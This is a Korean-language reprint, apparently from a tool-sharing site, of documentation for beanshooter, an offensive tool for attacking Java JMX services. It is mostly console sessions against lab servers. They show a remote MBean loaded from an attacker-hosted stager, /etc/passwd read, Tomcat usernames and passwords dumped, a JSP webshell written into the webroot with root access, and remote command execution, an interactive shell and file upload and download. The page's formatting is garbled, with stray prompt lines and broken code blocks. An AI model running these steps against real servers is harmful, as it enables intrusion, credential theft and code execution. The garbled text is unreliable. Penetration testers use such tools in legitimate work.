[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example 
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.

MBean Operations


일반적인 JMX 엔드포인트의 기능을 대상으로 하는 기본 작업과 달리, MBean 작업은 특정 MBean을 대상으로 합니다. 각 지원되는 MBean에 대해 beanshooter는 해당 MBean에 사용 가능한 작업과 옵션이 포함된 또 다른 subparser를 제공합니다. 다음 목록은 mlet MBean과 연결된 subparser의 예를 보여줍니다:```console [qtc@devbox ~]$ beanshooter mlet -h usage: beanshooter mlet [-h] ...

positional arguments:

root@kitploit:~
load                 load a new MBean from the specified URL
attr                 set or get MBean attributes
deploy               deploys the specified MBean on the JMX server
info                 print server information about the MBean
invoke               invoke the specified method on the MBean
stats                print local information about the MBean
status               checks whether the MBean is registered
undeploy             undeploys the specified MBEAN from the JMX server

named arguments: -h, --help show this help message and exit

root@kitploit:~
### 일반 MBean 작업

---

각 *MBean*에 대해 사용 가능한 일부 *beanshooter* 작업이 이 섹션에서 설명됩니다.
이러한 일반 *MBean* 작업은 종종 [기본 작업](#basic-operations)의 기능을 반영하지만,
*ObjectName*을 지정할 필요가 없습니다.

#### 일반 속성

`attr` 작업은 기본 작업의 `attr` 작업과 동일하게 작동합니다. 그러나 *ObjectName*은
더 이상 지정할 필요가 없으며, 지정된 *MBean*에 포함되어 있기 때문입니다.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase

일반 배포

deploy 액션은 기본적으로 기본 작업의 deploy 액션과 동일하게 작동합니다. 하지만 클래스 이름, ObjectName 및 구현 jar 파일이 모두 지정된 MBean과 이미 연결되어 있기 때문에, 이 액션에서는 --stager-url 옵션만 지정하면 됩니다(내장 jar 파일을 사용할 수 있다고 가정할 때):```console [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known to the server. [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: 440441bf8c794d40a83caf1e34cd9993 [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /440441bf8c794d40a83caf1e34cd9993 [+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705 [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed

root@kitploit:~
*beanshooter v4.1.0*부터는 [standard](#standard) 동작을 통해 *TonkaBean*을 배포할 수도 있습니다.
`standard` 동작을 통한 Bean 배포는 대상 서버에서 **아웃바운드 네트워크 연결을 필요로 하지 않습니다**.

#### 일반 내보내기

때로는 *beanshooters*의 스테이저 서버를 사용하여 *MBean* 구현을 제공하는 것이 불가능할 수 있습니다. 일반적인 시나리오는 로컬 머신으로의 아웃바운드 연결이 차단된 경우입니다. 이러한 상황에서는 *MBean*을 다른 위치(예: 쓰기 액세스 권한이 있는 내부 네트워크의 *SMB* 서비스)에서 로드하려 할 수 있습니다.

`export` 동작은 지정된 *MBean*을 구현하는 *jar* 파일과 *MLet*을 사용하여 *MBean*을 로드하는 데 필요한 해당 *MLet HTML* 문서를 내보냅니다. `10.10.10.5`에서 수신 대기 중인 *SMB* 서비스에서 *TonkaBean*을 제공하려는 경우 다음 명령을 사용할 수 있습니다:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  file:////10.10.10.5/share/

그런 다음 내보낸 jar 파일과 index.html 파일을 SMB 서비스에 업로드하고, --stager-url file:////10.10.10.5/share/index.html 옵션과 함께 beanshooters 배포 동작을 사용할 수 있습니다.

Generic Info

info 동작은 지정된 MBean의 메서드 및 속성 정보를 나열합니다:```console [qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090 [+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean [+] ObjectName: Users:type=UserDatabase,database=UserDatabase [+] [+] Attributes: [+] modelerType (type: java.lang.String , writable: false) [+] readonly (type: boolean , writable: false) [+] roles (type: [Ljava.lang.String; , writable: false) [+] groups (type: [Ljava.lang.String; , writable: false) [+] users (type: [Ljava.lang.String; , writable: false) [+] pathname (type: java.lang.String , writable: true) [+] writable (type: null , writable: false) [+] [+] Operations: [+] java.lang.String findGroup(java.lang.String groupname) [+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName) [+] void removeGroup(java.lang.String groupname) [+] void removeUser(java.lang.String username) [+] void save() [+] java.lang.String findRole(java.lang.String rolename) [+] void removeRole(java.lang.String rolename) [+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description) [+] java.lang.String findUser(java.lang.String username) [+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)

root@kitploit:~
#### 일반 호출

`invoke` 작업은 지정된 *MBean*에서 임의의 메서드를 호출하는 데 사용할 수 있습니다:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase

일반 통계

stats 액션은 지정된 MBean에 대한 일반 정보를 나열합니다. 이 정보는 beanshooters가 해당 MBean에 대해 로컬로 저장하는 정보로, 서버와의 상호작용이 필요하지 않습니다.```console [qtc@devbox ~]$ beanshooter tonka stats [+] MBean: tonka [+] Object Name: MLetTonkaBean:name=TonkaBean,id=1 [+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean [+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)

root@kitploit:~
The `Jar File` 정보는 해당 *MBean*의 구현이 *beanshooter*에 내장되어 있는지 여부를 나타냅니다. 이 jar 파일은 `--jar-file` 옵션으로 덮어쓰지 않는 한 배포 중에 사용됩니다. 현재 *TonkaBean*만이 *Jar File*이 제공되는 유일한 *MBean*입니다.

#### Generic Status

`status` 액션은 해당 *MBean*이 *JMX* 서비스에 이미 사용 가능한지 확인합니다.```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed

일반 Undeploy

undeploy 액션은 지정된 MBean을 원격 JMX 서비스에서 제거합니다:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.

root@kitploit:~
### Diagnostic

---

*DiagnosticCommandMBean*은 *JMX 서버*에 기본적으로 자주 배포되는 유용한 *MBean*입니다.
공격적인 관점에서 흥미로운 여러 가지 메서드를 구현합니다. 그 중 일부는 *beanshooter* 작업으로 구현됩니다.
물론 다른 것들은 수동으로 호출할 수 있습니다.

#### 진단 읽기

`read` 작업은 *MBean* 서버에서 텍스트 파일을 읽는 데 사용할 수 있습니다. 이 작업은 `addCompilerDirective` 메서드를 사용하여 지정된 텍스트 파일의 내용을 포함하는 예외를 발생시킵니다.```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

이 기법은 원래 @TheLaluka에 의해 jolokia-exploitation-toolkit 내에서 구현되었습니다.

진단 로드

load 연산은 JMX 서버의 파일 시스템에서 공유 라이브러리를 로드하는 데 사용할 수 있습니다:```console [qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6 [+] The server complained about the missing function Agent_OnAttach [+] The specified library was loaded succesfully.

root@kitploit:~
#### 진단 로그 파일

`logfile` 작업을 사용하여 *JVM*의 로그 파일 위치를 변경할 수 있습니다:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log

진단 Nolog

nolog 작업은 로깅을 비활성화하는 데 사용할 수 있습니다 (로그 파일 핸들을 닫는 데 유용합니다):```console [qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090 [+] Logging was disabled successfully.

root@kitploit:~
#### 진단 Cmdline

`cmdline` 작업은 *JVM*이 실행될 때의 명령줄을 출력합니다.```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD

진단 Props

props 동작은 시스템 속성 목록을 출력합니다.```console [qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090 #Mon Jul 25 19:17:52 UTC 2022 com.sun.management.jmxremote.rmi.port=1099 awt.toolkit=sun.awt.X11.XToolkit java.specification.version=11 sun.cpu.isalist= ...

root@kitploit:~
### HotSpot

---

*HotSpotDiagnosticMXBean*은 *HotSpot 가상 머신*을 관리하기 위한 인터페이스를 제공하며, 공격적 관점에서 유용한 몇 가지 메서드를 지원합니다.

#### HotSpot 덤프

`dump` 액션은 힙 덤프를 생성하여 애플리케이션 서버의 임의의 위치에 저장합니다. 유일한 요구 사항은 덤프가 `.hprof` 확장자를 가진 파일로 저장되어야 한다는 것입니다:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.

HotSpot 목록

list 동작은 사용 가능한 진단 옵션과 그에 연결된 값들의 목록을 출력합니다:```console [qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090 [+] HeapDumpBeforeFullGC (value = false, writable = true) [+] HeapDumpAfterFullGC (value = false, writable = true) [+] HeapDumpOnOutOfMemoryError (value = false, writable = true) [+] HeapDumpPath (value = , writable = true) ...

root@kitploit:~
#### HotSpot get

`get` 액션을 사용하면 지정된 옵션의 값을 얻을 수 있습니다:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true

HotSpot set

set 액션은 지정된 옵션의 값을 설정할 수 있게 합니다:```console [qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true [+] Option was set successfully. [qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC [+] Name: HeapDumpBeforeFullGC [+] Value: true [+] Writable: true

root@kitploit:~
### MLet

---

*MLetMBean*은 네트워크를 통해 추가 *MBean*을 로드하는 데 사용할 수 있는 잘 알려진 *MBean*입니다. *beanshooters*의 `deploy` 동작에서 이미 암시적으로 사용되고 있지만, `mlet` 작업을 사용하여 수동으로 호출할 수도 있습니다.

#### MLet Load

현재 구현된 유일한 *MLet* 메서드는 사용자가 지정한 *URL*에서 *MBean* 클래스를 로드하는 데 사용할 수 있는 `load` 연산입니다:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: MLet
[+] 	MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] 	Creating HTTP server on: 172.17.0.1:8000
[+] 		Creating MLetHandler for endpoint: /
[+] 		Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] 		Starting HTTP server... 
[+] 		
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /
[+] 	Sending mlet:
[+]
[+] 		Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 		Archive:   3584de270132420aaf0812366bc46035
[+] 		Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 		Codebase:  http://172.17.0.1:8000
[+]
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /3584de270132420aaf0812366bc46035
[+] 	Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.

위 예시는 mlet 연산을 통해 TonkaBean을 수동으로 로드하는 방법을 보여줍니다. 만약 대신 사용자 정의 MBean을 로드하려면 tonka 대신 custom 키워드를 지정하고 --class-name, --object-name 및 --jar-file 옵션을 제공해야 합니다:```console [qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar [+] Starting MBean deployment. [+] ... [+] MBean was loaded successfully.

root@kitploit:~
### Recoder

---

*FlightRecorderMXBean*은 *Flight Recorder*를 관리하기 위한 인터페이스를 제공하며,
공격적 관점에서 흥미로운 몇 가지 메서드를 지원합니다.

#### Recoder new

`new` 작업은 새로운 레코딩을 시작합니다. 반환된 레코딩 ID는 다른 작업의 대상으로 사용할 수 있습니다:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1

Recoder start

start 액션은 이미 존재하는 녹화를 시작하며, 추가 인자로 녹화 ID를 요구합니다.```console [qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1 [+] Recording with ID 1 started successfully.

root@kitploit:~
#### Recoder 덤프

녹화가 활성화되어 있는 동안, `dump` 액션을 사용하여 그 내용을 덤프할 수 있습니다. 이는 *JMX 서버*에 덤프 파일로 녹화 정보를 저장합니다:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat

Recorder 중지

stop 액션은 녹화를 중지하는 데 사용할 수 있습니다:```console [qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1 [+] Recording with ID 1 stopped successfully.

root@kitploit:~
#### 녹화 저장

녹화가 중지된 후, `save` 액션을 사용하여 저장할 수 있습니다. `dump` 액션과 달리, 이는 녹화를 애플리케이션 서버가 아닌 로컬 머신에 저장합니다.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat

Tomcat


tomcat 작업은 Apache Tomcat의 MemoryUserDatabaseMBean과 상호작용합니다. 이 MBean은 Tomcat 서비스에서 사용 가능한 사용자 계정에 대한 접근을 제공합니다.

Tomcat Dump

dump 액션은 Tomcat 서버에서 사용 가능한 사용자 이름과 비밀번호를 로컬 파일로 덤프합니다. 단일 인수로 호출될 때, 자격 증명이 <username>:<password> 형식으로 덤프됩니다:```console [qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt [+] Dumping credentials... [+] Users dumped to /home/qtc/creds.txt [qtc@devbox ~]$ cat creds.txt manager:P@55w0rD# admin:s3cr3T!$ status:[email protected]

root@kitploit:~
두 개의 인수로 호출되면, 사용자 이름은 첫 번째 지정된 위치에 저장되고, 비밀번호는 두 번째 위치에 저장됩니다:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt

Tomcat List

list 작업은 사용 가능한 사용자 계정, 해당 역할 및 자격 증명을 나열합니다:```console [qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090 [+] Listing tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: status [+] Password: [email protected] [+] Roles: [+] Users:type=Role,rolename="manager-status",database=UserDatabase

root@kitploit:~
#### Tomcat Write

`write` 작업은 부분적으로 제어된 파일을 애플리케이션 서버의 임의 위치에 씁니다. 이 작업은 *Tomcat* 서비스에 웹쉘을 안정적으로 배포하는 데 사용할 수 있습니다:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Current user database is at conf/tomcat-users.xml
[+] 	Current user database is readonly
[+] 	Adjusting readonly property to make it writable.
[+] 	Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Creating new role containing the local file content.
[+] 	Saving modified user database.
[+] 	Restoring readonly property.
[+] 	Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)

write 동작은 Apache Tomcat의 UserDatabase MBean 내 인코딩 버그를 악용합니다. 우리는 이 버그를 보고했지만, 보안 취약점으로 간주되지 않았습니다. 임의 위치에 쓰기 위해 beanshooter는 UserDatabase의 위치를 변경해야 합니다. 원하는 파일이 작성된 후 모든 변경 사항은 복원되지만, 프로덕션 환경에서는 주의해야 합니다.

Tonka


TonkaBean은 beanshooter 프로젝트에서 구현된 사용자 정의 MBean이며, JMX 서버에서 파일 시스템 접근 및 명령 실행을 허용합니다. 해당 동작은 tonka 작업 뒤에 원하는 동작을 붙여 사용할 수 있습니다.

Tonka Exec

exec 동작은 JMX 서비스에서 단일 명령을 호출하는 데 사용할 수 있습니다:```console [qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id [+] Invoking the executeCommand method with argument: id [+] The call was successful [+] [+] Server response: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
exec 작업의 마지막 인자는 문자열이어야 합니다. `--shell` 옵션이 사용되지 않으면 이 문자열은 공백(따옴표 인식)으로 분할되어 서버 측의 `ProcessBuilder` 클래스에 배열로 전달됩니다.

`--shell`이 사용된 경우, 지정된 셸 문자열이 공백으로 분할되고, 결과 배열이 지정된 인자 문자열과 결합된 후 `ProcessBuilder` 클래스에 전달됩니다. 이는 셸 특수 문자를 올바르게 해석하는 셸과 유사한 실행을 가능하게 합니다.```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b

편의를 위해, 일반적인 셸에는 필요한 명령 문자열 인수가 자동으로 접미사로 추가됩니다. 따라서 --shell ash는 자동으로 --shell 'ash -c'로 변환됩니다.

Tonka Execarray

execarray 작업은 exec 액션과 매우 유사하지만, 인수로 문자열을 받아 공백을 기준으로 분할하여 명령 배열을 구성하는 대신, execarray 작업은 여러 인수를 직접 지정할 수 있으며, 이는 ProcessBuilder 클래스의 명령 배열로 직접 사용됩니다:```console [qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME' [+] Invoking the executeCommand method with argument: ash -c echo $HOME [+] The call was successful [+] [+] Server response: /root

root@kitploit:~
#### Tonka Shell

`shell` 액션은 *JMX* 서버에서 실행할 명령을 지정할 수 있는 명령 셸을 생성합니다. 이 셸은 완전한 대화형이 아니며, 자바의 `Runtime.exec` 메서드를 래핑한 것입니다. 그러나 환경 변수와 현재 작업 디렉토리에 대한 기본 지원이 구현되어 있습니다.```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example

위 예제는 !env 키워드를 사용하여 환경 변수를 설정하는 방법을 보여줍니다. 이 키워드 외에도 몇 가지 다른 키워드를 사용할 수 있습니다:```console [qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010 [[email protected] /]$ !help Available shell commands: execute the specified command cd

change working directory on the server exit|quit exit the shell !help|!h print this help menu !environ|!env = set new environment variables in key=value format !upload|!put upload a file to the remote MBeanServer !download|!get download a file from the remote MBeanServer !background|!back executes the specified command in the background

root@kitploit:~
#### Tonka Upload

`upload` 작업을 사용하여 *JMX* 서버에 파일을 업로드할 수 있습니다:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat

Tonka 다운로드

download 액션을 사용하여 JMX 서버에서 파일을 다운로드할 수 있습니다:```console [qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd [+] Saving remote file /etc/passwd to local path /home/qtc/passwd [+] 1172 bytes were written to /home/qtc/passwd

root@kitploit:~
### JMXMP

---

*JMX* 서비스는 다양한 커넥터 유형을 사용할 수 있습니다. 가장 일반적으로 사용되는 커넥터는 *Java RMI*로, *Java RMI* 프로토콜을 기반으로 *JMX*에 접근할 수 있습니다. 또 다른 인기 있는 커넥터는 *JMX 메시지 프로토콜*(*JMXMP*)로, 비록 오래되었음에도 불구하고 여전히 자주 마주칩니다. *beanshooter*는 내장 *JMXMP* 지원을 제공하며, `--jmxmp` 옵션을 사용할 때 *JMXMP*를 통해 연결을 시도합니다:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server does not use SASL.
[+] 	  Login is possible without specifying credentials.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] 	  Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] 	- 22 MBeans are currently registred on the MBean server.
[+] 	  Found 0 non default MBeans.

인증된 JMXMP 엔드포인트는 일반적으로 SASL을 사용하여 보호됩니다. SASL이 활성화되면, JMX 엔드포인트는 일반적으로 클라이언트가 특정 SASL 프로필로 연결해야 합니다. beanshooter에 사용 가능한 프로필은 다음과 같습니다:

  • plain
  • digest
  • cram
  • ntlm
  • gssapi

각각은 --ssl 옵션을 사용하여 선택적으로 TLS와 함께 사용할 수 있습니다. SASL로 보호된 JMXMP 엔드포인트에서 enum 동작을 사용할 때, beanshooter는 필요한 SASL 프로필을 열거하려고 시도합니다. 필요한 SASL 메커니즘을 결정하는 것이 일반적으로 가능한 반면, 필요한 TLS 설정은 열거할 수 없습니다:```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp [+] Checking servers SASL configuration: [+] [+] - Remote JMXMP server uses SASL/NTLM SASL profile. [+] Notice: TLS setting cannot be enumerated and --ssl may be required. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - JMXMP serial check is work in progress but endpoints are usually vulnerable. [+] Configuration Status: Undecided

root@kitploit:~
### Jolokia 지원

---

*v4.0.0*부터 *beanshooter*는 [Jolokia](https://github.com/rhuss/jolokia) 기반 JMX 엔드포인트를 지원합니다.
*Jolokia* 기반 엔드포인트에 연결을 설정하려면 일반적인 대상 형식과 `--jolokia` 플래그가 필요합니다:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] 	- Login successful! The specified credentials are correct.
[+] 	  Username: manager  - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] 	- Agent Version 1.7.1 - Protocol Version: 7.2
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] 	- Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] 	- 75 MBeans are currently registred on the MBean server.
[+] 	  Listing 56 non default MBeans:
...

Jolokia의 제한된 기능 세트로 인해 모든 beanshooter 작업이 지원되지는 않습니다. 질문이 있으시면 Jolokia FAQ를 참조하십시오. Jolokia를 실험해보기 위해 beanshooter는 포트 8080에서 Jolokia 엔드포인트를 노출하는 예제 서버를 제공합니다. 또한 포트 1090에서 일반 RMI 기반 JMX 엔드포인트를 찾을 수 있습니다.

Docker 이미지


버전 v3.1.1부터 beanshooter는 Docker 이미지로도 사용할 수 있으며 GitHub Container Registry에서 가져올 수 있습니다. 각 릴리스마다 normal 버전과 slim 버전이 제공됩니다. 두 버전 모두 완전히 작동하는 beanshooter를 제공하지만, normal 버전만 ysoserial을 포함하여 이미지 크기가 더 큽니다:

  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MB
  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MB

다음 명령어를 실행하여 직접 컨테이너를 빌드할 수도 있습니다:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .

root@kitploit:~
### 예제 서버

---

![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20master/badge.svg?branch=master)
![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20develop/badge.svg?branch=develop)

위에 제시된 대부분의 예제는 [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
와 [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server)에 기반합니다.
이 서버들은 이 저장소의 [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) 폴더에 포함되어 있으며 *JMX* 열거를 연습하는 데 사용할 수 있습니다.
해당 컨테이너를 직접 빌드하거나 *GitHub Container Registry*에서 직접 불러올 수 있습니다.

저작권 2023, Tobias Neitzel 및 *beanshooter* 기여자들.
도구 다운로드
  • exec
  • execarray
  • shell
  • upload
  • download
  • JMXMP
  • Jolokia 지원
  • Docker 이미지
  • 예제 서버